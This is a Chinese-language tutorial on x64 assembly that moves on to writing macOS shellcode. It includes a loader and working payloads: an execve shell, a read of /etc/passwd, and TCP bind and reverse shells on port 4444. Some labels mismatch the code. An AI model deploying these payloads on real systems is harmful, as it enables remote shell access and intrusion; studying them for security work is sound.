# x64简介
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## **x64简介** x64,也被称为x86-64,是一种主要用于桌面和服务器计算的64位处理器架构。它起源于由英特尔生产的x86架构,并在后来由AMD采用并命名为AMD64,是个人计算机和服务器中普遍使用的架构。 ### **寄存器** x64扩展了x86架构,具有16个通用寄存器,标记为`rax`,`rbx`,`rcx`,`rdx`,`rbp`,`rsp`,`rsi`,`rdi`和`r8`到`r15`。每个寄存器可以存储一个64位(8字节)的值。这些寄存器还具有32位、16位和8位的子寄存器,用于兼容性和特定任务。 1. **`rax`** - 传统上用于函数的**返回值**。 2. **`rbx`** - 经常用作内存操作的**基址寄存器**。 3. **`rcx`** - 常用于**循环计数器**。 4. **`rdx`** - 用于各种角色,包括扩展算术运算。 5. **`rbp`** - 栈帧的**基指针**。 6. **`rsp`** - **栈指针**,跟踪栈的顶部。 7. **`rsi`** 和 **`rdi`** - 用于字符串/内存操作中的**源**和**目的**索引。 8. **`r8`** 到 **`r15`** - 在x64中引入的额外通用寄存器。 ### **调用约定** x64的调用约定在操作系统之间有所不同。例如: * **Windows**:前**四个参数**通过寄存器**`rcx`**,**`rdx`**,**`r8`**和**`r9`**传递。更多的参数被推送到栈上。返回值在**`rax`**中。 * **System V(通常用于类UNIX系统)**:前**六个整数或指针参数**通过寄存器**`rdi`**,**`rsi`**,**`rdx`**,**`rcx`**,**`r8`**和**`r9`**传递。返回值也在**`rax`**中。 如果函数有超过六个输入,则**其余的参数将被传递到栈上**。**RSP**,即栈指针,在任何调用发生之前必须是**16字节对齐**的,这意味着它指向的地址必须能够被16整除。这意味着通常我们需要确保在进行函数调用之前,我们的shellcode中的RSP被正确对齐。然而,在实践中,即使不满足这个要求,系统调用也经常能够正常工作。 ### **常见指令** x64指令具有丰富的指令集,保持与早期x86指令的兼容性并引入新指令。 * **`mov`**:将一个值从一个**寄存器**或**内存位置**移动到另一个寄存器或内存位置。 * 示例:`mov rax, rbx` — 将`rbx`中的值移动到`rax`中。 * **`push`** 和 **`pop`**:将值推送到/从**栈**中弹出。 * 示例:`push rax` — 将`rax`中的值推送到栈中。 * 示例:`pop rax` — 将栈顶的值弹出到`rax`中。 * **`add`** 和 **`sub`**:**加法**和**减法**操作。 * 示例:`add rax, rcx` — 将`rax`和`rcx`中的值相加,并将结果存储在`rax`中。 * **`mul`** 和 **`div`**:**乘法**和**除法**操作。注意:这些操作对操作数的使用有特定的行为。 * **`call`** 和 **`ret`**:用于**调用**和**从函数返回**。 * **`int`**:用于触发软件**中断**。例如,在32位x86 Linux中,`int 0x80`用于系统调用。 * **`cmp`**:比较两个值并根据结果设置CPU的标志位。 * 示例:`cmp rax, rdx` — 将`rax`与`rdx`进行比较。 * **`je`**,**`jne`**,**`jl`**,**`jge`**,...:**条件跳转**指令,根据先前的`cmp`或测试结果改变控制流。 * 示例:在`cmp rax, rdx`指令之后,`je label` — 如果`rax`等于`rdx`,则跳转到`label`。 * **`syscall`**:在某些x64系统(如现代Unix)中用于**系统调用**。 * **`sysenter`**:在某些平台上优化的**系统调用**指令。 ### **函数序言** 1. **保存旧的基指针**: `push rbp`(保存调用者的基指针) 2. **将当前栈指针移动到基指针**: `mov rbp, rsp`(为当前函数设置新的基指针) 3. **在栈上为局部变量分配空间**: `sub rsp, `(其中 `` 是所需的字节数) ### **函数尾声** 1. **将当前基指针移动到栈指针**: `mov rsp, rbp`(释放局部变量) 2. **从栈中弹出旧的基指针**: `pop rbp`(恢复调用者的基指针) 3. **返回**: `ret`(将控制权返回给调用者) ## macOS ### 系统调用 有不同类别的系统调用,您可以在[**这里找到它们**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:** ```c #define SYSCALL_CLASS_NONE 0 /* Invalid */ #define SYSCALL_CLASS_MACH 1 /* Mach */ #define SYSCALL_CLASS_UNIX 2 /* Unix/BSD */ #define SYSCALL_CLASS_MDEP 3 /* Machine-dependent */ #define SYSCALL_CLASS_DIAG 4 /* Diagnostics */ #define SYSCALL_CLASS_IPC 5 /* Mach IPC */ ``` 然后,您可以在[**此网址**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)中找到每个系统调用的编号: ```c 0 AUE_NULL ALL { int nosys(void); } { indirect syscall } 1 AUE_EXIT ALL { void exit(int rval); } 2 AUE_FORK ALL { int fork(void); } 3 AUE_NULL ALL { user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); } 4 AUE_NULL ALL { user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); } 5 AUE_OPEN_RWTC ALL { int open(user_addr_t path, int flags, int mode); } 6 AUE_CLOSE ALL { int close(int fd); } 7 AUE_WAIT4 ALL { int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); } 8 AUE_NULL ALL { int nosys(void); } { old creat } 9 AUE_LINK ALL { int link(user_addr_t path, user_addr_t link); } 10 AUE_UNLINK ALL { int unlink(user_addr_t path); } 11 AUE_NULL ALL { int nosys(void); } { old execv } 12 AUE_CHDIR ALL { int chdir(user_addr_t path); } [...] ``` 所以为了调用`open`系统调用(**5**),你需要将其添加为`0x2000000`。 因此,调用open的系统调用号将是`0x2000005`。 ### Shellcode 编译方法: {% code overflow="wrap" %} ```bash nasm -f macho64 shell.asm -o shell.o ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib ``` {% endcode %} 提取字节: {% code overflow="wrap" %} ```bash # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do echo -n '\\x'$c done # Another option otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g' ``` {% endcode %}
用于测试shellcode的C代码 ```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include int (*sc)(); char shellcode[] = ""; int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode)); void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0); if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr); void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst); int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ); if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status); printf("[>] Trying to execute shellcode...\n"); sc = ptr; sc(); return 0; } ```
#### Shell 从[**这里**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)获取并解释。 {% tabs %} {% tab title="使用adr" %} ```armasm bits 64 global _main _main: call r_cmd64 db '/bin/zsh', 0 r_cmd64: ; the call placed a pointer to db (argv[2]) pop rdi ; arg1 from the stack placed by the call to l_cmd64 xor rdx, rdx ; store null arg3 push 59 ; put 59 on the stack (execve syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall ``` {% tab title="使用堆栈" %} ```armasm bits 64 global _main _main: xor rdx, rdx ; zero our RDX push rdx ; push NULL string terminator mov rbx, '/bin/zsh' ; move the path into RBX push rbx ; push the path, to the stack mov rdi, rsp ; store the stack pointer in RDI (arg1) push 59 ; put 59 on the stack (execve syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall ``` {% endtab %} {% endtabs %} #### 使用cat命令读取 目标是执行`execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`,因此第二个参数(x1)是一个参数数组(在内存中表示为地址的堆栈)。 ```armasm bits 64 section .text global _main _main: ; Prepare the arguments for the execve syscall sub rsp, 40 ; Allocate space on the stack similar to `sub sp, sp, #48` lea rdi, [rel cat_path] ; rdi will hold the address of "/bin/cat" lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd" ; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"] push rsi ; Add "/etc/passwd" to the stack (arg0) push rdi ; Add "/bin/cat" to the stack (arg1) ; Set in the 2nd argument of exec the addr of the array mov rsi, rsp ; argv=rsp - store RSP's value in RSI xor rdx, rdx ; Clear rdx to hold NULL (no environment variables) push 59 ; put 59 on the stack (execve syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall ; Make the syscall section .data cat_path: db "/bin/cat", 0 passwd_path: db "/etc/passwd", 0 ``` #### 使用sh调用命令 To invoke a command using the `sh` command, you can use the following syntax: 要使用`sh`命令调用命令,可以使用以下语法: ```sh sh -c "command" ``` For example, if you want to execute the `ls` command using `sh`, you would run: 例如,如果你想使用`sh`执行`ls`命令,你可以运行: ```sh sh -c "ls" ``` This will execute the `ls` command as if it were run directly from the command line. ```armasm bits 64 section .text global _main _main: ; Prepare the arguments for the execve syscall sub rsp, 32 ; Create space on the stack ; Argument array lea rdi, [rel touch_command] push rdi ; push &"touch /tmp/lalala" lea rdi, [rel sh_c_option] push rdi ; push &"-c" lea rdi, [rel sh_path] push rdi ; push &"/bin/sh" ; execve syscall mov rsi, rsp ; rsi = pointer to argument array xor rdx, rdx ; rdx = NULL (no env variables) push 59 ; put 59 on the stack (execve syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall _exit: xor rdi, rdi ; Exit status code 0 push 1 ; put 1 on the stack (exit syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall section .data sh_path: db "/bin/sh", 0 sh_c_option: db "-c", 0 touch_command: db "touch /tmp/lalala", 0 ``` #### 绑定 shell 从 [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) 获取的绑定 shell,在**端口 4444**上。 ```armasm section .text global _main _main: ; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP) xor rdi, rdi mul rdi mov dil, 0x2 xor rsi, rsi mov sil, 0x1 mov al, 0x2 ror rax, 0x28 mov r8, rax mov al, 0x61 syscall ; struct sockaddr_in { ; __uint8_t sin_len; ; sa_family_t sin_family; ; in_port_t sin_port; ; struct in_addr sin_addr; ; char sin_zero[8]; ; }; mov rsi, 0xffffffffa3eefdf0 neg rsi push rsi push rsp pop rsi ; bind(host_sockid, &sockaddr, 16) mov rdi, rax xor dl, 0x10 mov rax, r8 mov al, 0x68 syscall ; listen(host_sockid, 2) xor rsi, rsi mov sil, 0x2 mov rax, r8 mov al, 0x6a syscall ; accept(host_sockid, 0, 0) xor rsi, rsi xor rdx, rdx mov rax, r8 mov al, 0x1e syscall mov rdi, rax mov sil, 0x3 dup2: ; dup2(client_sockid, 2) ; -> dup2(client_sockid, 1) ; -> dup2(client_sockid, 0) mov rax, r8 mov al, 0x5a sub sil, 1 syscall test rsi, rsi jne dup2 ; execve("//bin/sh", 0, 0) push rsi mov rdi, 0x68732f6e69622f2f push rdi push rsp pop rdi mov rax, r8 mov al, 0x3b syscall ``` #### 反向 Shell 从[https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html)获取反向 Shell。反向 Shell 到 **127.0.0.1:4444**。 ```armasm section .text global _main _main: ; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP) xor rdi, rdi mul rdi mov dil, 0x2 xor rsi, rsi mov sil, 0x1 mov al, 0x2 ror rax, 0x28 mov r8, rax mov al, 0x61 syscall ; struct sockaddr_in { ; __uint8_t sin_len; ; sa_family_t sin_family; ; in_port_t sin_port; ; struct in_addr sin_addr; ; char sin_zero[8]; ; }; mov rsi, 0xfeffff80a3eefdf0 neg rsi push rsi push rsp pop rsi ; connect(sockid, &sockaddr, 16) mov rdi, rax xor dl, 0x10 mov rax, r8 mov al, 0x62 syscall xor rsi, rsi mov sil, 0x3 dup2: ; dup2(sockid, 2) ; -> dup2(sockid, 1) ; -> dup2(sockid, 0) mov rax, r8 mov al, 0x5a sub sil, 1 syscall test rsi, rsi jne dup2 ; execve("//bin/sh", 0, 0) push rsi mov rdi, 0x68732f6e69622f2f push rdi push rsp pop rdi xor rdx, rdx mov rax, r8 mov al, 0x3b syscall ```
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